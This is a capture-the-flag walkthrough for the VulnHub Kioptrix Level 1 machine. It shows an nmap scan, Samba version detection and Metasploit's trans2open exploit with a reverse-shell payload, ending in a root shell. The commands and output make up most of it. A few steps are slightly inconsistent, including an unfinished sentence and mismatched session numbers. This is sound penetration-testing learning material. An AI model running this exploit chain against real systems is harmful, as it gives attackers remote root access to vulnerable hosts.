

KIOPTRIX: LEVEL 1

Today we'll be looking at the kioptrix 1 machine on vulnhub.
You can download the machine [here](#).

Nmap

```
└─(root@kali)-[~]
└─# nmap -A -sV 192.168.1.109
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 17:14 EET
Nmap scan report for 192.168.1.109
Host is up (0.00041s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_  1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp   open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000   2             111/tcp    rpcbind
|   100000   2             111/udp    rpcbind
|   100024   1             1024/tcp   status
|_  100024   1             1024/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeS
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2023-04-10T15:17:13+00:00; +1m57s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_  SSL2_DES_64_CBC_WITH_MD5
1024/tcp  open  status       1 (RPC #100024)
MAC Address: B0:A4:60:CC:CC:61 (Intel Corporate)
Device type: general purpose
Running: Linux 2.4.X
```

```
Host script results:
|_clock-skew: 1m56s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
```

```
TRACEROUTE
HOP RTT      ADDRESS
1    0.41 ms  192.168.1.109
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 28.75 seconds

We can see that the machine is running smb.

Let's use metasploit to figure out the smb version running.

```
msf6 > search smb version

Matching Modules

#   Name                                                                 Disclosure Date   Rank   Check   Description
-   -
0   exploit/multi/http/struts_code_exec_classloader                     2014-03-06      manual No       Apache Struts ClassLoader Manipulation Remote Code Execution
1   exploit/linux/misc/cisco_rv340_sslvpn                               2022-02-02      good   Yes      Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
2   exploit/windows/smb/ms08_067_netapi                                 2008-10-28      great  Yes      MS08-067 Microsoft Server Service Relative Path Stack Corruption
3   exploit/windows/browser/ms10_022_ie_vbscript_winhlp32             2010-02-26      great  No       MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution
4   exploit/windows/fileformat/ms14_060_sandworm                       2014-10-14      excellent No       MS14-060 Microsoft Windows OLE Package Manager Code Execution
5   auxiliary/dos/windows/smb/rras_vls_null_deref                     2006-06-14      normal No       Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
6   auxiliary/dos/windows/smb/ms11_019_electbrowser                   2007-06-14      normal No       Microsoft Windows Browser Pool DoS
7   exploit/windows/smb/smb_rras_erraticgopher                        2017-06-13      average Yes      Microsoft Windows RRAS Service MIBEntryGet Overflow
8   auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow          2010-05-14      normal No       Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
9   auxiliary/scanner/smb/smb_version                                  2010-06-16      normal No       SMB Version Detection
10  exploit/linux/samba/chain_reply                                     2007-02-19      good   No       Samba chain_reply Memory Corruption (Linux x86)
11  exploit/multi/ids/snort_dce_rpc                                    2007-02-19      good   No       Snort 2 DCE/RPC Preprocessor Buffer Overflow
12  exploit/windows/browser/java_ws_arginject_altjvm                  2010-04-09      excellent No       Sun Java Web Start Plugin Command Line Argument Injection
13  exploit/windows/smb/timbuktu_plughntcommand_named_bof             2009-06-25      great  No       Timbuktu PlughNTCommand Named Pipe Buffer Overflow
14  exploit/windows/fileformat/ursoft_w32dasm                        2005-01-24      good   No       URSoft W32Dasm Disassembler Function Buffer Overflow
15  exploit/windows/fileformat/vlc_smb_uri                             2009-06-24      great  No       VideoLAN Client (VLC) Win32 SMB URI Buffer Overflow

Interact with a module by name or index. For example info 15, use 15 or use exploit/windows/fileformat/vlc_smb_uri

msf6 > use 9
msf6 auxiliary(scanner/smb/smb_version) > |
```

Let's use **auxiliary/scanner/smb/smb_version**

Now, Set the rhosts to the machine's IP.

```
set rhosts <MACHINE IP>
```

Now, type `run`

```
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.1.109:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.1.109:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.1.109: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Now, that we have the smb version, let's search for an exploit.

Let's use this module: **exploit/linux/samba/trans2open** and set the options.

```
msf6 > search samba 2.2

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/samba/nttrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
1	exploit/freebsd/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (*BSD x86)
2	exploit/linux/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Linux x86)
3	exploit/osx/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Mac OS X PPC)
4	exploit/solaris/samba/trans2open	2003-04-07	great	No	Samba trans2open Overflow (Solaris SPARC)

Interact with a module by name or index. For example `info 4`, `use 4` or `use exploit/solaris/samba/trans2open`

```
msf6 > use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.1.109
rhosts => 192.168.1.109
msf6 exploit(linux/samba/trans2open) >
```

We also need to replace the default payload with

Now, let's run it.

```
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.1.112:4444
[*] 192.168.1.109:139 - Trying return address 0xbffffdfc ...
[*] 192.168.1.109:139 - Trying return address 0xbffffcfc ...
[*] 192.168.1.109:139 - Trying return address 0xbffffbfc ...
[*] 192.168.1.109:139 - Trying return address 0xbffffafc ...
[*] 192.168.1.109:139 - Trying return address 0xbffff9fc ...
[*] 192.168.1.109:139 - Trying return address 0xbffff8fc ...
[*] 192.168.1.109:139 - Trying return address 0xbffff7fc ...
[*] 192.168.1.109:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 5 opened (192.168.1.112:4444 → 192.168.1.109:1036) at 2023-04-10 17:57:36 +0200
```

Let's interact with any of the opened sessions.

```
sessions -i 4
```

```
msf6 exploit(linux/samba/trans2open) > sessions -l

Active sessions

=====

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
4		shell	x86/linux	192.168.1.112:4444 → 192.168.1.109:1035 (192.168.1.109)
6		shell	x86/linux	192.168.1.112:4444 → 192.168.1.109:1037 (192.168.1.109)
7		shell	x86/linux	192.168.1.112:4444 → 192.168.1.109:1038 (192.168.1.109)
8		shell	x86/linux	192.168.1.112:4444 → 192.168.1.109:1039 (192.168.1.109)

```
msf6 exploit(linux/samba/trans2open) > sessions -i 4
[*] Starting interaction with 4...

whoami
root
█
```

Yes! we are now root.